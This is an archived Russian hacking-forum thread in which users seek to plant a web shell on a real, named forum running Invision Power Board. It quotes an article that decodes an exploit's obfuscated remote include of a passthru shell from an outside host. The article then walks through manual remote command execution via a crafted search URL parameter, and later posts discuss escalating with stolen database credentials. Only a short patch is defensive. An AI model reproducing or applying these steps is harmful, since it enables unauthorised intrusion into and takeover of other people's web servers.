Просмотр полной версии : Заливка шелла в Ipb не имея доступа к админке...
~Real F@ck!~
13.09.2006, 23:31
Люди! Скажите на милость! Можно ли залить шелл в IPB v 2.0.4 не имея доступа к админке! Я как тока непытался несмог. И вообще реально ли это? :mad:
Насколько я знаю - нет. Если только что нибуть приватное есть...
Можно! Но не факт что получится :)
Дай линк на форум - посмотрим...
Люди! Скажите на милость! Можно ли залить шелл в IPB v 2.0.4 не имея доступа к админке! Я как тока непытался несмог. И вообще реально ли это? :mad:Конечно есть, с выполнением php в поиске. Поищи, была большая тема.
~Real F@ck!~
14.09.2006, 11:47
Короче буду искать, а если кто найдёт раньше меня вылдожите плиз ссылку в этой теме и ещё линк форума http://forum.ferra.ru/
http://forum.antichat.ru/thread18222.html
## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
Есть подозрение, что форум не 2.0.4...
Насчет взлома - вот статья:
Совсем недавно появился эксплоит для удаленного исполнения команд в популярном форуме Invision Power Board.
Уязвимость, к слову говоря, кроется в файле sources/action_public/search.php, в регулярном выражении. Выполнив определенные действия, злонамеренный пользователь получал веб-шелл. Товарищ 1dt.w0lf из команды RST не теряя времени написал эксплоит для этой уязвимости. По-моему, это был первый паблик-эксплоит для этой дыры. Однако с эксплоитом у многих возникают проблемы: команды не выполняются. Нет, в самом эксплоите никакой ошибки нет, просто Вульф пошел по пути меньшего сопротивления, нежели авторы других эксплоитов для этой уязвимости.
Давайте обратим внимание на эту строку (#95)
$text = ‘r57ipbxplhohohoeval(include(chr(104).chr(116).c hr(116).chr(112).
chr(58).chr(47).chr(47).chr(114).chr(115).chr(116) .chr(46).chr(118).chr(111).chr(105).
chr(100).chr(46).chr(114).chr(117).chr(47).chr(114 ).chr(53)’.
‘.chr(55).chr(105).chr(112).chr(98).chr(105).chr (110).chr(99).chr(46).chr(116).
chr(120).chr(116))); //’;
Напишем небольшой скрипт на perl и посмотрим, что же скрывается в этой строке. А скрывается там строка
http://rst.void.ru/r57ipbinc.txt
А вот и содержание этого текстового файла:
<?
/*
r57ipbce exploit include file
*/
passthru($_GET[’eharniy_ekibastos’]);
?>
То есть в eval выполняется инклюд удаленного файла. Ловушки тут никакой нет, просто так проще получить шелл. Однако далеко не на всех серверах возможен инклюд удаленных файлов (чаще всего причина - allow_url_fopen=0). Тупик? Нет! Сейчас я вам расскажу, как эксплуатировать эту ошибку вручную. И вы увидите, что это вовсе не сложно.
Итак, перво-наперво, найдем себе подходящую жертву. Я выбрал IPB 2.1.5 (доступный по адресу 127.0.0.1 естественно).
Залогинимся (зарегистрируемся, если еще не сделали этого), перейдем в форум, где мы можем оставлять сообщения.
Создаем сообщение, содержащее текст:
eval(phpinfo()); //
Создали? Теперь откройте новую закладку в браузере (так удобнее будет) и перейдите к поиску. В поиске укажите: искомый текст eval, ваш логин, а также не забудьте указать “Показывать результаты ввиде сообщений”. Ищем только что созданный пост. Нашелся? Замечательно. Теперь в этом же окне добавьте в конец URL такую строчку:
&lastdate=z|eval.*?%20//)%23e%00
Адресная строка браузера должна иметь приблизительно такой вид:
http://localhost/ipb/index.php?act=Search&CODE=show&searchid=…&search_in=posts&result_type=posts&highlite=system&lastdate=z|eval.*?%20//)%23e%00
Жмите enter. Если вы все сделали правильно и форум уязвим, то вы увидите вывод информации о интерпретаторе PHP.
Но нам нужен шелл.
Вернемся к нашему сообщению. Надеюсь, у вас есть права на его редактирование? Если это так, переходите к его редактированию. Однако у этой уязвимости есть одна особенность: вы не можете использовать функции в привычном виде (system(”ls”) например). Нужно все символы аргументов переводить из их кода. То есть вместо system(”ls”) писать system(chr(34).chr(108).chr(115).chr(34)). Согласитесь, что это не совсем удобно, самому деражть в голове, искать где-то коды символов. Поэтому я набросал простенькую утилиту, которая преобразует команду за вас и выведет ее в пригодной для употребления форме. Например, вы вводите ls, а на выходе получаете строку eval(system(chr(108).chr(115)).chr(59).exit()); //. Утилита также содержит сей хэлп, только на английском языке (заранее приношу извинения, если что-то не так написал). Вы можете просто пропустить весь хэлп и и перейти непосредственно к энкодеру.
Отредактировав сообщение, возвращайтесь к странице поиска и просто обновите ее. Таким образом, вы можете выполнять любые доступные вам команды.
Теперь перейдем к защите от этой напасти. Открываем файл sources/action_public/search.php и ищем в нем регулярное выражение:
this->output = preg_replace( “#(value=[\”‘]{$this->ipsclass->input[’lastdate’]}[\”‘])#i”, “\\1 selected=’selected’”, $this->output );
Которое заменяем на:
$this->output = preg_replace( “#(value=[\”‘]”.intval($this->ipsclass->input[’lastdate’]).”[\”‘])#i”, “\\1 selected=’selected’”, $this->output );
Как видите, патч состоит в том, что уязвимый параметр приводится к типу integer.
P.S. Ни я, ни кто другой не несут ответственности за применение этой информации.
blackybr
14.09.2006, 12:38
лоол =) ferra.ru - Он же эксибит )))) там не 2.0.4 =) там пропатченная 2.1.7 + допольнительно вручную скриптованная... ))
~Real F@ck!~
14.09.2006, 12:54
Блин я ломал его только хеш несмог расшифровать! А админ там уже примерно 3 года незаходит!
blackybr
14.09.2006, 13:32
Блин я ломал его только хеш несмог расшифровать! А админ там уже примерно 3 года незаходит!
шутник?
а.. я понял.. ты один из тех арабов которые дэфили иксибит =)
~Real F@ck!~
14.09.2006, 16:16
Почему арабов? Я один из одного! +) Так что давайте говорить по существу и неоффтопить!
короче как еще можно залить шелл если
загрузчики wget curl fetch lynx links
недоступны наверное нет прав на запуск
мне удалось лиш прочитать conf_global.php
пароль от бд бесполезен так как доступ к бд
возможен лиш с своего хоста
короме того наверное везде разкиданы файлы htaccess или что подобное
и для входа в phpMyAdmin требует дополнительный пароль
может их можно прочитать или изменить для прохода в phpMyAdmin
если да то какими командами
и для входа в phpMyAdmin требует дополнительный пароль
может их можно прочитать или изменить для прохода в phpMyAdmin
если да то какими командами
у тебя в конфиге форума есть
юзер
пароль
база
Хост ты знаешь, этого достаточно чтобы через пхпадмин подключиться как миниум к базе форума и поднять себе привилегии до рутадмина.
На сколько мне известно, невозможно...
шутник?
а.. я понял.. ты один из тех арабов которые дэфили иксибит =)Сори за поднятие старой темы, но арабы как говорится "сосут пегу".
http://img454.imageshack.us/img454/784/ferraru2og1.th.jpg (http://img454.imageshack.us/my.php?image=ferraru2og1.jpg)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot